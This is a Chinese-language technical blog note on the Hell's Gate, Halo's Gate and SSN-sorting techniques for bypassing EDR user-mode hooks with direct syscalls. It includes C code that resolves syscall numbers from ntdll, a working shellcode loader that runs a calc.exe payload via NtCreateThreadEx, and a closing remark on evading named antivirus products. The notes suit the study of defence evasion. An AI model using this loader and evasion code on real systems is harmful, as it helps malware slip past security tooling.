地狱之门/光环之门/SSN
前言:地狱之门/光环之门/SSN笔记
参考文章:https://tttang.com/archive/1464/
参考文章:https://aeverj.github.io/posts/syscall免杀/
参考文章:https://www.anquanke.com/post/id/267345
前置知识点
地狱之门/光环之门/SSN都是为了躲避EDR的钩子的产物
在创建R3进程的时候,EDR会hook用户层的相关windows API调用,从而完成对进程动态行为的监控。
比如hook VirtualAlloc来实现监控内存分配又或者hook CreateProcess来实现监控进程创建
hook操作既可以在用户层完成hook,也可以在内核层hook。
用户层hook的好处是对性能的影响较小,相对于内核层hook更稳定,不容易导致系统蓝屏,所以很多EDR会选择在用户层hook,同时在内核层使用回调监控重要的内核api调用。一个进程分配了RWX属性的内存,或者修改了内存属性,将RW的内存修改为了RWX,由于RWX内存属性是shellcode或反射型DLL加载所用的内存属性,因此EDR会对申请的内存进行扫描,匹配到恶意软件的yara规则后,将会杀死恶意进程,并向控制中心发送告警。
关于PEB结构体可以参考文章:https://www.cnblogs.com/zpchcbd/p/15940557.html
地狱之门
项目文章:https://github.com/am0nsec/HellsGate
早期产物,地狱之门出现了,为了避免在用户层被EDR hook的敏感函数检测到敏感行为,利用从ntdll中读取到的系统调用号进行系统直接调用来绕过敏感API函数的hook。
主要来应对EDR对Ring3 API的HOOK,不同版本的Windows Ntxxx 函数的系统调用号不同,且调用时需要逆向各 API 的结构方便调用。
主要做了什么操作呢?其实跟获取通过PEB获取kernel32.dll中的导出函数的操作一样,而这里的话就是通过PEB获取ntdll.dll中的导出函数
不同点就是,获取到了ntdll.dll函数的,根据函数名Hash找到函数地址,将这个函数读取出来通过0xb8这个操作码来动态获取对应的系统调用号,从而绕过内存监控
这里绕过的内存监控只是绕过了kernel32.dll中的对应的API的函数监控,因为本质kernel32.dll最终还是调用了ntdll.dll中的API函数,如果ntdll.dll默认就被hook了的话,那么这种方法就无法起到绕过监控的效果了
通过地狱之门能够帮助我们生成的宏汇编代码(MASM)来定义执行通过系统调用号调用NT函数的函数
知识点:
-
nt和zw对应的函数其实是一样的
-
VS2013中跑代码的时候,要符合C89语法,变量全部都放到前面来
代码分析
首先获取PEB结构体,微软提供了方便的函数来进行获取
PTEB RtlGetThreadEnvironmentBlock() {
#if _WIN64
return (PTEB)__readgsqword(0x30);
#else
return (PTEB)__readfsdword(0x16);
#endif
}
接着就可以看到拿到对应的InMemoryOrderModuleList链表结构体,通过遍历获得NTDLL的模块基址
接着就是进行遍历该模块的导出表,具体的操作可以跟到GetImageExportDirectory中观察
拿到了导出表之后,这里就开始获取对应的nt函数了,比如这边的NtAllocateVirtualMemory对应的哈希值为0xf5bd373480a6b89b,然后通过对应的GetVxTableEntry函数来进行获取NtAllocateVirtualMemory函数地址
哈希判断的函数方法
DWORD64 djb2(PBYTE str) {
DWORD64 dwHash = 0x7734773477347734;
INT c;
while (c = *str++)
dwHash = ((dwHash << 0x5) + dwHash) + c;
return dwHash;
}
主要的逻辑都在GetVxTableEntry中,如下代码所示
BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) {
PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);
// 函数名的数量
for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
// 获取函数名
PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
// 对应的函数地址
PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
// 判断djb2之后是否为对应的dwHash值
if (djb2((PBYTE)pczFunctionName) == pVxTableEntry->dwHash) {
// 是的话则填充对应的PVX_TABLE_ENTRY的pAddress为函数地址
pVxTableEntry->pAddress = pFunctionAddress;
// Quick and dirty fix in case the function has been hooked
WORD cw = 0;
while (TRUE) {
// check if syscall, in this case we are too far
if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
return FALSE;
// check if ret, in this case we are also probaly too far
if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
return FALSE;
// First opcodes should be :
// MOV R10, RCX
// MOV RCX, <syscall>
// 只有符合mov r10, rcx -> mov rcx <syscall> 的机器码才是可以进行系统调用的
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;
}
cw++;
};
}
}
return TRUE;
}
其中的就是需要符合系统调用的格式,我们这里可以用ida打开一个ntdll.dll来进行观察机器码,正好是匹配的
if (*((PBYTE)pFunctionAddress + cw) == 0x4c && *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b && *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1 && *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8 && *((PBYTE)pFunctionAddress + 6 + cw) == 0x00 && *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;
}
其中PVX_TABLE_ENTRY是一个大的结构体,其中每个VX_TABLE_ENTRY条目都是用来存储每个对应的函数的地址的,只要能够匹配成功,那么就会将对应的信息都填入到PVX_TABLE_ENTRY结构体中对应的VX_TABLE_ENTRY中去
typedef struct _VX_TABLE_ENTRY {
PVOID pAddress;
DWORD64 dwHash;
WORD wSystemCall;
} VX_TABLE_ENTRY, *PVX_TABLE_ENTRY;
typedef struct _VX_TABLE {
VX_TABLE_ENTRY NtAllocateVirtualMemory;
VX_TABLE_ENTRY NtProtectVirtualMemory;
VX_TABLE_ENTRY NtCreateThreadEx;
VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, *PVX_TABLE;
都找完了之后最后就会执行Payload方法
这里再提及下关于下面两个判断的作用
这种直接syscall的情况下则跳过
// 直接syscall的情况
if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
return FALSE;
这种retn的情况下也跳过
// retn的情况
if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
return FALSE;
使用方法
这里测试下calc,如下的shellcode为calc,运行结果如下所示
BOOL Payload(PVX_TABLE pVxTable) {
NTSTATUS status = 0x00000000;
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";
// Allocate memory for the shellcode
PVOID lpAddress = NULL;
SIZE_T sDataSize = sizeof(shellcode);
HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);
// Write Memory
VxMoveMemory(lpAddress, shellcode, sizeof(shellcode));
// Change page permissions
ULONG ulOldProtect = 0;
HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);
// Create thread
HANDLE hHostThread = INVALID_HANDLE_VALUE;
HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
// Wait for 1 seconds
LARGE_INTEGER Timeout;
Timeout.QuadPart = -10000000;
HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall);
status = HellDescent(hHostThread, FALSE, &Timeout);
return TRUE;
}
如何才能知道所有的函数对应的HASH值
这里的话我直接通过printf打印来进行全部打印出来即可
printf("%s -> 0x%I64x\n", pczFunctionName, djb2((PBYTE)pczFunctionName));
打印结果如下图所示
光环之门
光环之门代码地址:https://github.com/trickster0/TartarusGate
光环之门详情:https://blog.vincss.net/2020/03/re011-unpack-crypter-cua-malware-netwire-bang-x64dbg.html
地狱之门也有一个缺点,就是当我们需要调用的NT函数已经被AV/EDR所Hook,那我们就无法通过地狱之门来动态获取它的系统调用号
ntdll.dll中有个规律,可以看到如下图所示,对应的zw函数的调用号其实是根据地址上到下来分配的,所以是逐渐递增的
其中 https://github.com/trickster0/TartarusGate/blob/master/HellsGate/hellsgate.asm 为了防止AV检测,还做了NOP的操作
https://github.com/trickster0/TartarusGate/blob/master/HellsGate/main.c 比起地狱之门唯一的区别的逻辑就是在GetVxTableEntry函数中
首先可以看到如果判断为syscall调用的代码的话,那么直接填充对应wSystemCall字段中去
而如果当前的机器码为0xe9的话,那么则判断为被hook,那么就会在当前hook的上部分和下部分进行遍历获取未hook的函数的调用号然后根据idx来计算填充
SSN系统调用地址排序
优点:这种方法不需要unhook,不需要手动从代码存根中读取,也不需要加载NTDLL新副本
ntdll.dll中的特性就是所有的Zw函数是根据函数地址的大小来进行排序的,所以我们就只需要遍历所有Zw函数,记录其函数名和函数地址,最后将其按照函数地址升序排列后,每个函数的调用号就是其对应的排列顺序的索引号
#include<iostream>
#include<map>
#include<string>
#include<Windows.h>
#include "structs.h"
using namespace std;
int main()
{
std::map<int, string> Nt_Table;
PBYTE ImageBase;
PIMAGE_DOS_HEADER Dos = NULL;
PIMAGE_NT_HEADERS Nt = NULL;
PIMAGE_FILE_HEADER File = NULL;
PIMAGE_OPTIONAL_HEADER Optional = NULL;
PIMAGE_EXPORT_DIRECTORY ExportTable = NULL;
PPEB Peb = (PPEB)__readgsqword(0x60);
PLDR_MODULE pLoadModule;
pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
ImageBase = (PBYTE)pLoadModule->BaseAddress;
Dos = (PIMAGE_DOS_HEADER)ImageBase;
if (Dos->e_magic != IMAGE_DOS_SIGNATURE)
return 1;
Nt = (PIMAGE_NT_HEADERS)((PBYTE)Dos + Dos->e_lfanew);
File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew + sizeof(DWORD)));
Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof(IMAGE_FILE_HEADER));
ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress);
PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)(ImageBase + ExportTable->AddressOfFunctions));
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)ImageBase + ExportTable->AddressOfNames);
PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)ImageBase + ExportTable->AddressOfNameOrdinals);
for (WORD cx = 0; cx < ExportTable->NumberOfNames; cx++)
{
PCHAR pczFunctionName = (PCHAR)((PBYTE)ImageBase + pdwAddressOfNames[cx]);
PVOID pFunctionAddress = (PBYTE)ImageBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
if (strncmp((char*)pczFunctionName, "Zw", 2) == 0) {
Nt_Table[(int)pFunctionAddress] = (string)pczFunctionName;
}
}
int index = 0;
for (std::map<int, string>::iterator iter = Nt_Table.begin(); iter != Nt_Table.end(); ++iter) {
cout << "index:" << index << ' ' << iter->second << endl;
index += 1;
}
}
对比IDA中的索引号0和1可以看到刚好配对ZwAccessCheck和ZwWorkerFactoryWorkerReady
小tips 2022-11-08
自己测试下配合SysWhispers2的uuid加载器简单的实现360 defender 火绒 麦咖啡的免杀,感兴趣的小伙伴也可以自己尝试下